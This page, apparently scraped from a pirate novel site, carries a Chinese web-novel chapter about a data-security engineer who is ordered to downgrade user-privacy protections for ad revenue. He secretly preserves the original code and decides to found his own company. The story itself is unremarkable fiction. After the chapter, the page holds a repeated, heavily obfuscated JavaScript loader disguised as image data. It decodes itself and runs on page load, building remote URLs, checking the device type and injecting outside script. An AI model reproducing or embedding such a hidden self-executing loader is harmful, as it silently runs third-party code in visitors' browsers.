首页
前传第64章 技术妥协,为盈
返回
关灯 护眼:关 字号:小

前传第64章 技术妥协,为盈利牺牲安全

章节报错(免登陆)

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    前传第64章技术妥协,为盈利牺牲安全(第1/2页)
    深夜八点四十分,星途科技研发部的冷气依旧凉得刺骨,却吹不散空气里凝滞的压抑。
    窗外沪城的夜景铺展得盛大而虚妄,浦江两岸灯火连绵,摩天楼宇刺破墨色夜空,是外人眼中最顶级的都市繁华。可关起这一层写字楼的门,只剩无休止的机械忙碌,和一份被资本层层裹挟、早已偏离本心的技术生态。
    龙胆草盯着办公系统里刚刚同步的新版项目需求文档,指尖悬在键盘上,迟迟无法落下。屏幕白光映在他清瘦的眉眼上,衬得少年人眼底的执拗与茫然,愈发清晰。
    刚结束一轮毫无意义的参数微调,他本以为这场无谓的内卷迭代终于可以告一段落,却没等来项目收尾的通知,只等来产品部连夜更新的硬性之需救,字字锋利,剖开了互联网行业最不堪的真相。
    为适配商业变现,全面放宽用户数据采集权限,下调三级安全防护阈值,优先保障流量精准度,安全冗余可酌情删减。
    短短三行需求,颠覆了整个数据安全研发的核心底线。
    入行三年,求学十余年,他所有的课本理论、实验室研究、日夜深耕的加密算法,核心宗旨永远只有一句:数据安全优先,用户隐私至上。
    在他的认知里,所有技术迭代的前提,是防护、是守护、是兜底,永远不能是妥协、是让步、是牺牲。可在星途科技这套成熟的商业体系里,理想主义的底线,成了阻碍盈利的累赘。
    身旁的工位依旧一片死寂。
    整层楼依旧座无虚席,没有人抬头质疑,没有人出声反对,所有人都默契地接收了新需求,手指熟练地敲击键盘,开始删减安全代码、放宽权限限制、压缩防护冗余。
    这群深耕技术的理工科人才,曾是校园里最骄傲的学子,是手握行业未来的新锐力量,此刻却像被磨平棱角的齿轮,被动嵌入资本运转的机器,日复一日做着违背专业初心的妥协。
    “别愣着了。”
    隔壁工位的周工揉了揉酸胀的眉心,端起早已凉透的咖啡,语气里是浸透着岁月的疲惫与麻木。他侧头看了一眼龙胆草紧绷的侧脸,低声补了一句,“小草,习惯就好,这不是第一次,也绝不会是最后一次。”
    龙胆草转头看向他,嗓音带着连日熬夜的沙哑,藏着难以压制的不解:“周哥,我们是数据安全研发岗。我们存在的意义,就是守住用户隐私,抵御数据泄露。现在主动放宽采集权限、删减安全防护,那我们做的技术,还有什么意义?”
    他的声音不高,却带着理工生最纯粹、最执拗的较真。
    他可以接受加班迭代,可以承受职场内卷,可以忍耐大厂的规则束缚,可他无法接受,自己亲手编写的防护代码,亲手打磨的安全算法,最终不是用来守护普通人,而是成为资本收割用户隐私的工具。
    周工苦笑一声,放下咖啡杯,身子微微前倾,压低了声音,带着过来人无可奈何的通透与悲凉。
    “意义?在这家公司,盈利就是唯一的意义。”
    “你以为我们研发部的核心工作是做安全、做防护?错了。所有技术部门,归根结底,都是商业部、运营部的配套工具。平台要流量,要转化,要精准推送,要广告变现,我们就要无条件配合。”
    “安全阈值、隐私权限、防护冗余,这些东西在投资人眼里,都是成本,是累赘,是影响变现的阻碍。多一层安全防护,就多一道数据拦截,少一分用户信息抓取,广告精准度就会下降,流水就会缩水。”
    龙胆草的心头猛地一沉。
    他不是不懂商业逻辑,也并非不食人间烟火的理想主义者。他出身寒门,比任何人都清楚生存不易,懂得企业需要盈利才能存活,懂得技术需要依附商业才能落地。
    可他始终固执地认为,盈利从不是技术的唯一归宿,商业变现不该以牺牲普通人的隐私安全为代价。
    普通用户不懂代码,不懂算法漏洞,不懂权限开放背后的风险。他们只是随手授权、随意点击确认,便将自己的位置信息、浏览记录、社交轨迹、生活偏好全盘交出。
    他们以为平台的防护系统会为他们兜底,以为大厂的技术值得信任。
    可他们不知道,在无数个这样的深夜,研发人员迫于商业压力,主动为风险让步,为盈利让路,亲手拆掉一道道安全防线。
    “我刚入职的时候,比你还轴。”周工望着屏幕上密密麻麻待删减的安全代码,眼底掠过一丝旧日的怅然,“那时候我跟你一样,跟产品经理争执,跟主管提异议,死守着所谓的技术底线,觉得做技术的,不能昧着良心干活。”
    “结果呢?”他自嘲地勾了勾唇角,“需求没改,我的月度绩效直接垫底,季度评优除名,项目核心权限被收回,整整半年,被边缘化,被架空,所有人都在告诉我,我不懂职场,不懂大局,不懂适配公司发展。”
    “后来我就懂了,在资本面前,良心不值钱,初心不能当饭吃,个人坚守,拗不过整套成熟的商业规则。”
    龙胆草沉默无言,胸腔里翻涌着巨大的无力感。
    他看着屏幕上同事们飞速改动的代码库,原本层层加密的隐私防护模块,被一点点精简、删减、屏蔽。那些他们日夜打磨、反复测试、用来抵御黑客攻击、防范数据泄露的防护代码,此刻为了几分广告精准度,被轻易舍弃。
    平台用户量破亿,覆盖全国大江南北。
    这意味着,今晚这一次悄无声息的安全降级,上亿普通用户的隐私防护等级,将集体下调三个档位,个人信息抓取范围全面扩大,隐秘数据溯源门槛彻底降低。
    一旦出现漏洞,一旦遭遇灰色产业链抓取,无数人的信息将被肆意倒卖、泄露、利用,无人兜底,无人负责。
    “公司就不怕出事吗?”龙胆草轻声发问,语气里带着少年人最后一丝不甘的希冀。
    “不怕。”周工答得干脆,眼底一片寒凉,“大厂有最完善的法务团队,最严密的免责条款,最成熟的公关体系。出事了,是系统BUG,是偶然漏洞,是外部攻击,永远不会是公司主动降级安全、逐利违规。”
    “用户维权难,取证难,追责更难。相比于每年上亿的广告流水、商业收益,偶尔一次的舆情危机、小额赔偿,根本不值一提。”
    这就是行业真相。
    光鲜的科技大厂,标榜科技向善、守护用户、赋能生活,可剥开华丽的外壳,内里全是精打细算的利益博弈。
    技术向善,是对外宣传的口号;资本逐利,是刻在骨子里的本质。
    正在此时,部门项目群弹出主管的置顶消息,语气强势,不容置喙。
    (本章未完,请点击下一页继续阅读)前传第64章技术妥协,为盈利牺牲安全(第2/2页)
    【所有人今晚凌晨前完成安全模块降级迭代,全部权限开放到位,明日一早灰度上线。技术部无需纠结安全冗余,商业优先级最高,一切为变现让路,禁止私自保留防护代码。】
    消息一出,原本安静的办公群,瞬间齐刷刷弹出收到、明白的回复,无人异议,无人反驳。
    职场最磨人的,从来不是高压加班、繁重工作,而是这种全员默认的规则裹挟。当所有人都在妥协,都在让步,都在随波逐流,一个人的坚守,就会变成格格不入的固执,变成不懂变通的短板,变成阻碍集体利益的异类。
    龙胆草看着那条置顶消息,指尖微微收紧,骨节泛白。
    他想起大二那年盛夏,在老旧的实验室里,第一次独立编写简易加密程序。
    那天傍晚,一个陌生的网友私信求助,说自己的个人信息被恶意平台倒卖,遭遇无休止的骚扰电话、诈骗短信,生活备受困扰,投诉无门,维权无路。
    彼时的他,尚且稚嫩,技术粗浅,却凭着一腔热忱,帮对方梳理数据泄露源头,搭建简易防护屏障。
    也是那一刻,他真切看见,冰冷的数据背后,是一个个鲜活的普通人,是普通人安稳平静的生活。
    技术可以伤人,亦可救人。
    也是那一刻,他给自己立下终身准则:此生深耕数据安全,不为名利,不为高薪,不为大厂光环,只为守住普通人的信息边界,不让资本随意收割众生。
    时隔五年,他站在国内最顶尖的科技大厂,拿着同龄人望尘莫及的薪资,身处最优质的技术平台,却不得不亲手推翻自己的准则,亲手拆掉自己信奉的防线。
    讽刺,且悲凉。
    “别想太多了,赶紧改吧。”周工看着他久久不动,又劝了一句,“你是新人,前途正好,别因为这种无关紧要的底线,跟公司对抗,不值得。”
    “所有人都在妥协,你一个人守不住整个行业的规则。”
    龙胆草缓缓闭上眼,再睁开时,眼底的少年热血被一层沉静的寒凉覆盖。
    他知道周工是好意。
    在成年人的职场生存法则里,顺势而为、随波逐流,才是最稳妥、最明智的选择。对抗规则、坚守初心,只会撞得头破血流,一无所有。
    可他心里那根执拗的弦,始终崩得笔直,不肯弯折。
    他可以接受平凡,可以忍耐辛苦,可以直面不公,但他无法接受,自己亲手成为伤害普通人的帮凶。
    深夜九点,办公区依旧灯火通明,键盘声连绵不绝,像一场永无止境的独奏。
    龙胆草深吸一口气,没有像其他人一样直接删减安全代码,而是新建了一个隐秘备份文件夹,将所有原版防护模块、完整安全算法、原始加密逻辑全部留存归档。
    他没有公然违抗指令,按照项目要求,完成了表面的安全降级、权限开放、冗余删减,保证项目可以顺利灰度上线,不影响团队进度,不触犯职场规则。
    可他在无人看见的角落,悄悄守住了自己最后的底线。
    他改得了项目代码,改不了自己的初心;他妥协得了职场规则,妥协不了自己的良心。
    做完所有迭代工作,他点开公司过往的舆情档案。
    里面躺着无数被快速压下的负面事件:用户数据大规模泄露、精准诈骗频发、隐私信息打包倒卖、未成年人信息违规采集……每一次事件过后,都是低调赔付、紧急公关、整改降温,而后风声一过,依旧重蹈覆辙。
    盈利永远优先于整改,流水永远重于安全。
    这一刻,积压在心底的迷茫、失望、不甘,彻底沉淀为一种清醒的决绝。
    他终于彻底看透了大厂的本质,看透了行业根深蒂固的乱象。
    资本主导的科技企业,永远不可能真正为用户兜底,永远会在利益与安全之间,毫不犹豫地选择前者。所谓的技术底线,所谓的科技向善,在资本逐利的本能面前,不堪一击。
    今夜这一场无声的技术妥协,成了压垮他大厂执念的最后一根稻草。
    从前的他,还心存侥幸,觉得自己可以留在行业顶端,慢慢沉淀、慢慢改变,一点点坚守底线,一点点影响周遭。
    可此刻他终于明白,个体在整套畸形的商业体系面前,太过渺小。
    你不愿妥协,自有人妥协;你不愿让步,自有人让步。行业的洪流滚滚向前,资本的规则根深蒂固,不是一个普通的技术工程师,能够撼动分毫。
    既然无法改变规则,那就跳出规则。
    既然无人愿意坚守纯粹的技术初心,那便自己搭建一方干净的天地。
    那一刻,深夜的写字楼依旧喧嚣内卷,旁人依旧在为KPI、为绩效、为薪资盲目消耗。
    可龙胆草的心里,已经悄然完成了一场彻底的蜕变。
    少年时代模糊的创业念想,熬过无数深夜的迷茫困惑,看过无数行业乱象的失望沉淀,在这一刻,彻底落地成型。
    他要离开这里。
    他要跳出所有资本裹挟、利益至上的商业桎梏。
    他要创立一家真正纯粹的技术公司,不唯流量、不逐短利、不向资本妥协、不为盈利牺牲安全。
    他要研发一套真正属于国人、守护国人的隐私加密系统,守住普通用户的数据边界,践行真正的科技向善。
    后来许多人问起龙胆草,为何放弃顶级大厂的锦绣前程,甘愿白手起家、从零吃苦,冒着一无所有的风险创业。
    无人知晓,所有抉择的源头,都是这个无数人习以为常的深夜。
    是这场全员默认的技术妥协,是这桩为了盈利肆意牺牲安全的行业常态,彻底唤醒了一个少年的初心与孤勇。
    夜里十点,龙胆草保存好所有文件,关闭电脑。
    在全员依旧加班内卷、无人离场的办公区里,他安静地收拾好自己的工位,将那张写着安全优先,底线为先的泛黄便签,小心翼翼折好,放进贴身口袋。
    这不是逃避,是奔赴。
    不是认输,是重生。
    窗外晚风穿城,星河藏于夜幕。
    他走出灯火辉煌的钢铁楼宇,身后是人人追捧的大厂光环、安稳前程、高薪体面。
    身前,是无人知晓的荆棘长路、未知前路、孤勇初心。
    风起于微末,浪成于无声。
    今夜一次不得已的技术妥协,终催生出日后照亮整个行业的五彩绫镜,催生出一场坚守本心、对抗乱象、向善而行的漫长征途。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF 